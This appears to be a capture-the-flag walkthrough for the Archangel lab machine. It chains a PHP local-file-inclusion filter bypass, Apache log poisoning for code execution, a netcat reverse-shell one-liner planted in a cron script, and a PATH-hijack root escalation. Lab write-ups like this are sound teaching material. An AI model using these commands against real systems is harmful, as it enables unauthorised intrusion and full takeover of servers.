nmap:

 

 

homepage

 

 

We were asked for a subdomain and the email information is mafialive.thm. Let's add it to the hosts file and view mafialive.thm.

 

 

We find the first flag on the mafialive.thm page.

 

Look for a page under development?

 

At this stage, we can find the page we need to go to via robots.txt or gobuster.

 

Robots.txt

 

 

gobuster

 

 

test.php

 

There is a button

 

 

when we press the button:

 

 

This url hints the possibility of Local File Inclusion vulnerability. After trying to access sensitive files like /etc/passwd and access.log files by passing the value to view parameter, we could find that the php filter present restricts us from accessing those files. Actual contents of the file can be viewed by parsing the content into base64, as PHP has a inbuilt function to convert normal text to base64.

 

http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php

 

If we decode, we find our second flag.

 

 

Checking the php file, we could find that the code is checking two conditions,

 

Condition 1

 

if(!containsStr($_GET['view'], '../..')

condition 1 restricts path traversal

 

Condition 2

 

if(!containsStr($_GET['view'],

'/var/www/html/development_testing'))

condition 2 states that anything we do is restricted to a single location.

 

/var/www/html/development_testing

We can bypass the path traversal protection by using “.././../” instead of “../../” to travel back directories. Reading the access.log file in /var/log/apache2/ shows that the User-Agent is being logged. So we can get an RCE using log poisoning attack.

 

Now let’s try to access the log ile,

 

view=/var/www/html/development_testing/.././.././../log/apache2/access.log

 

We are able to access access.log file, now it’s time to exploit the server using log poisoning attack to gain shell.

 

Let’s pass a malicious php code snippet in the User-Agent header.

 

 

Now we can pass linux commands in access.log file, let’s verify using the below command

 

 

Now let’s upload our php reverse shell using burpsuite.

 

 

btw All we have to do is write to the URL. We don't need to use burp.

 

 

Trigger shell with mafialive.thm/pentestshell.php

 

 

and we got our first flag.

 

 

we find something useful in /etc/crontab.

 

 

We can switch to Archangel user with this script.

 

 

Let's add this line to it.

 

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.60.115 4445 >/tmp/f" >> helloworld.sh

 

Start the netcat listener on your local machine and wait for few minutes.

 

Now we are archangel

 

 

There seems to be a suid file in the /secret file ready for our use. We no longer need to search.

 

Let's send the backup file to ourselves with Wget and examine it.

 

 

Ghidra

 

 

The binary was executing commands to copy files from one directory to another, also the binary was running as root. This mean that if we can replace the system cp binary with our own, Then we can have root access.

 

Let’s create our own binary named cp and point the $PATH to our directory.

 

archangel@ubuntu:~/secret$ echo "/bin/bash" >> cp

archangel@ubuntu:~/secret$ chmod +x cp

Set the path variable using

 

archangel@ubuntu:~/secret$ export PATH=$PWD:$PATH

And now execute backup

 

archangel@ubuntu:~/secret$ ./backup

 

flag